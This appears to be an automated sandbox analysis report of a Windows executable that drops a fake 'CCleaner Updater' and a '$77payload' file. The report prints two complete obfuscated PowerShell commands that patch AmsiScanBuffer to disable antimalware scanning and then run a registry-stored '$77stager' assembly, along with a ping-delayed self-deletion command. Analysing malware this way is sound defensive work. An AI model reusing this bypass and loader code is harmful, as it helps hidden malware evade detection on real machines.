Analysis
-
max time kernel
46s -
max time network
16s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
-
submitted
06/01/2024, 10:19
General
-
Target
454d856e6048b98583f3fbb2dd2dd483.exe
-
Size
1.7MB
-
MD5
454d856e6048b98583f3fbb2dd2dd483
-
SHA1
d2f231a87a0bbb92d3e8614fab104b843eb43f5f
-
SHA256
6c509392f97d86818cc199b9885e57b6740e705e344c498856c0fed8998dfcbe
-
SHA512
513b247a8ed117c7a53cf9f53f6f9f3657b7f9d5b0e94f1ac4a7ffdd4364c6a70a263ac4b8a33a8ad52035c528204467b3796df29f1463c846a7e63bb83648de
-
SSDEEP
49152:XXOc40qUnbw0nu8VDQ/9f89mjzpWHKI3Br:nOcVqwu9f8IjzpG5
Score
1/10
Malware Config
Signatures
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\454d856e6048b98583f3fbb2dd2dd483.exe"C:\Users\Admin\AppData\Local\Temp\454d856e6048b98583f3fbb2dd2dd483.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\CCleaner Updater.exe"C:\Users\Admin\AppData\Local\Temp\CCleaner Updater.exe"2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\454d856e6048b98583f3fbb2dd2dd483.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\454d856e6048b98583f3fbb2dd2dd483.exe"2⤵
-
C:\Windows\system32\PING.EXEping 1.1.1.1 -n 1 -w 1003⤵
- Runs ping.exe
-
-
C:\Windows\system32\PING.EXEping 1.1.1.1 -n 1 -w 9003⤵
- Runs ping.exe
-
-
-
C:\Users\Admin\Documents\$77payload.exe"C:\Users\Admin\Documents\$77payload.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CQqwvvoKLoSr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ngOWdNUEuuwPkz,[Parameter(Position=1)][Type]$ylMIuzNPOK)$yKzlYxBlkfB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$yKzlYxBlkfB.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$ngOWdNUEuuwPkz).SetImplementationFlags('Runtime,Managed');$yKzlYxBlkfB.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$ylMIuzNPOK,$ngOWdNUEuuwPkz).SetImplementationFlags('Runtime,Managed');Write-Output $yKzlYxBlkfB.CreateType();}$spwmGjEQdsBLV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$PMCJSvMzbxHLGv=$spwmGjEQdsBLV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MRdZyyTUIYhNNhAmYAu=CQqwvvoKLoSr @([String])([IntPtr]);$AIREAPoUrZTVLeGOovbLEc=CQqwvvoKLoSr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rBvYjBmFhsO=$spwmGjEQdsBLV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$EIcicVMMLmtdJw=$PMCJSvMzbxHLGv.Invoke($Null,@([Object]$rBvYjBmFhsO,[Object]('Load'+'LibraryA')));$celLdjONsMljDrBsm=$PMCJSvMzbxHLGv.Invoke($Null,@([Object]$rBvYjBmFhsO,[Object]('Vir'+'tual'+'Pro'+'tect')));$ajPEDiK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EIcicVMMLmtdJw,$MRdZyyTUIYhNNhAmYAu).Invoke('a'+'m'+'si.dll');$XGepPqkzskNhuuOMw=$PMCJSvMzbxHLGv.Invoke($Null,@([Object]$ajPEDiK,[Object]('Ams'+'iSc'+'an'+'Buffer')));$Bmfdxhhyqr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($celLdjONsMljDrBsm,$AIREAPoUrZTVLeGOovbLEc).Invoke($XGepPqkzskNhuuOMw,[uint32]8,4,[ref]$Bmfdxhhyqr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XGepPqkzskNhuuOMw,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($celLdjONsMljDrBsm,$AIREAPoUrZTVLeGOovbLEc).Invoke($XGepPqkzskNhuuOMw,[uint32]8,0x20,[ref]$Bmfdxhhyqr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:YqYvNLusSWKG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JEwCfFgdIrzJXy,[Parameter(Position=1)][Type]$ZyIwMFeFgS)$UtznctNKtTp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$UtznctNKtTp.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$JEwCfFgdIrzJXy).SetImplementationFlags('Runtime,Managed');$UtznctNKtTp.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$ZyIwMFeFgS,$JEwCfFgdIrzJXy).SetImplementationFlags('Runtime,Managed');Write-Output $UtznctNKtTp.CreateType();}$vaKxkbwMytIEJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$HMMxPYBdjzBeaU=$vaKxkbwMytIEJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wDVclYlTHxeAeVZPMWp=YqYvNLusSWKG @([String])([IntPtr]);$GtxcRljreOttTKwQMCwlQU=YqYvNLusSWKG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sudlkzdjtyM=$vaKxkbwMytIEJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$VZWfHhOktYVpZr=$HMMxPYBdjzBeaU.Invoke($Null,@([Object]$sudlkzdjtyM,[Object]('Load'+'LibraryA')));$rGBtMLUojKLPKjZUK=$HMMxPYBdjzBeaU.Invoke($Null,@([Object]$sudlkzdjtyM,[Object]('Vir'+'tual'+'Pro'+'tect')));$MDKLnHL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VZWfHhOktYVpZr,$wDVclYlTHxeAeVZPMWp).Invoke('a'+'m'+'si.dll');$DUsXAGgenuqCErGqr=$HMMxPYBdjzBeaU.Invoke($Null,@([Object]$MDKLnHL,[Object]('Ams'+'iSc'+'an'+'Buffer')));$WgxIuKkitv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rGBtMLUojKLPKjZUK,$GtxcRljreOttTKwQMCwlQU).Invoke($DUsXAGgenuqCErGqr,[uint32]8,4,[ref]$WgxIuKkitv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$DUsXAGgenuqCErGqr,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rGBtMLUojKLPKjZUK,$GtxcRljreOttTKwQMCwlQU).Invoke($DUsXAGgenuqCErGqr,[uint32]8,0x20,[ref]$WgxIuKkitv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{423cfa38-57ea-4144-90d5-9b261d133991}1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
168KB
-
Filesize
4KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
140KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
168KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
1.7MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
584KB
-
Filesize
624KB
-
Filesize
64KB
-
Filesize
5.6MB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
1.9MB
-
Filesize
72KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
760KB
-
Filesize
2.0MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
248KB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
2.0MB
-
Filesize
256KB
-
Filesize
760KB
-
Filesize
408KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
104KB
-
Filesize
6.5MB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
304KB
-
Filesize
3.3MB
-
Filesize
120KB